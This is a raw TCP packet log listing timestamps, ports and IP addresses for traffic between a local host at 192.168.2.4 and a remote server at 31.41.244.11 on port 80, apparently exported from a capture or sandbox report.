Nov 1, 2024 10:57:10.584131956 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.584285021 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.584343910 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.584373951 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.584379911 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.584389925 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.584398031 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.584417105 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.584445000 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.584570885 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.584649086 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.584660053 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.584669113 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.584682941 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.584692001 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.584692955 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.584702015 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.584712982 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.584717035 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.584728956 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.584739923 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.584789991 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.584800005 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.584805012 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.584865093 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.584896088 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.584906101 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.584928036 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.584939957 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.585692883 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.585735083 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.585747957 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.585758924 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.585776091 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.585788965 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.585815907 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.585846901 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.585855961 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.585865974 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.585876942 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.585886002 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.585895061 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.585903883 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.585973024 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.585983992 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.585992098 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586002111 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586010933 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586011887 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.586019993 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.586041927 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.586097002 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586106062 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586114883 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586124897 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586133003 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586141109 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.586144924 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586154938 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.586169004 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.586179018 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.586245060 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586258888 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586267948 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586277962 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586287975 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586297035 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586297035 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.586307049 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.586325884 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.586335897 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.586371899 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586381912 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586390972 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586400032 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586411953 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.586415052 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586426020 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.586426020 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586438894 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.586456060 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.586484909 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.586505890 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586515903 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586524963 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586534977 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586544037 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586551905 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.586560011 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.586576939 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.586628914 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586638927 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586666107 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.586719036 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586735010 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586751938 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586760044 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586760044 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.586771965 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586774111 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.586792946 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.586829901 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.586853027 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586863041 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586872101 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586880922 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586890936 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586894989 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.586900949 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586901903 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.586913109 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586927891 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.586941957 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.586956024 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.586975098 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.586987019 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.587018967 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.587034941 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.587074041 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.587084055 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.587093115 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.587102890 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.587112904 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.587117910 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.587124109 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.587135077 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.587137938 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.587157011 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.587166071 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.587189913 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.587199926 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.587208033 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.587218046 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.587234974 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.587245941 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.587264061 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.587268114 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.587279081 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.587287903 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.587299109 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.587307930 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.587322950 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.587331057 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.587331057 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.587352991 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.587363005 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.587481022 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.587497950 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.587512016 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.587534904 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.587548018 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.587554932 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.587568998 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.587579012 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.587588072 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.587599039 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.587605000 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.587610006 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.587620974 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.587622881 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.587631941 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.587646961 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.587665081 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.587681055 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.587722063 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.587730885 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.587739944 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.587766886 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.587779045 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.587786913 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.587791920 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.587817907 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.587829113 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.588888884 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.588898897 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.588908911 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.588948965 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.588959932 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.588968039 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.588978052 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.589004993 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.589019060 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.589092016 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.589102030 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.589111090 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.589119911 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.589129925 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.589134932 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.589142084 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.589148998 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.589152098 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.589167118 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.589186907 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.589194059 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.589198112 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.589207888 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.589229107 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.589240074 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.589363098 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.589374065 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.589381933 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.589391947 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.589401960 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.589409113 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.589411020 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.589421988 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.589432001 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.589432001 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.589440107 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.589442968 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.589453936 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.589463949 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.589467049 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.589492083 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.589500904 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.589526892 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.589536905 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.589545965 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.589560986 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.589562893 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.589571953 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.589577913 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.589584112 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.589593887 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.589596987 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.589601994 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.589603901 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.589613914 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.589623928 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.589632034 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.589646101 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.589677095 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.607729912 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.607767105 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.607779980 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.607810974 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.607820988 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.607832909 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.607842922 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.607870102 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.608146906 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.608172894 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.608182907 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.608208895 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.608222008 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.608257055 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.608268976 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.608303070 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.608364105 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.608376980 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.608387947 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.608402014 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.608405113 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.608428001 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.608453035 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.608500957 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.608513117 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.608522892 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.608535051 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.608546972 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.608552933 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.608565092 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.608575106 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.608577967 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.608592987 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.608623028 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.609548092 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.609560013 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.609570980 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.609594107 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.609606028 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.609606981 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.609620094 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.609631062 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.609653950 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.609667063 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.609689951 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.609704018 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.609714031 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.609730005 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.609740019 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.609755039 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.609766960 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.609972000 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.609986067 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610022068 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.610038996 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610050917 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610061884 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610074043 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610076904 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.610091925 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610094070 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.610105991 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610115051 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.610119104 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610126019 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.610132933 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610146046 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610147953 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.610157967 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610158920 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.610171080 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610183954 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.610187054 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610193014 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.610210896 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.610224009 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610227108 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.610236883 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610248089 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610258102 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.610259056 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610271931 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610280037 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.610282898 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610291958 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.610296011 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610308886 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610313892 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.610326052 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.610340118 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.610364914 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610377073 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610387087 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610399008 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610407114 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.610410929 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610415936 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.610424042 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610435963 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610439062 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.610447884 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610454082 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.610460997 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610471010 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.610486984 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610487938 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.610501051 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.610502958 CET	49820	80	192.168.2.4	31.41.244.11
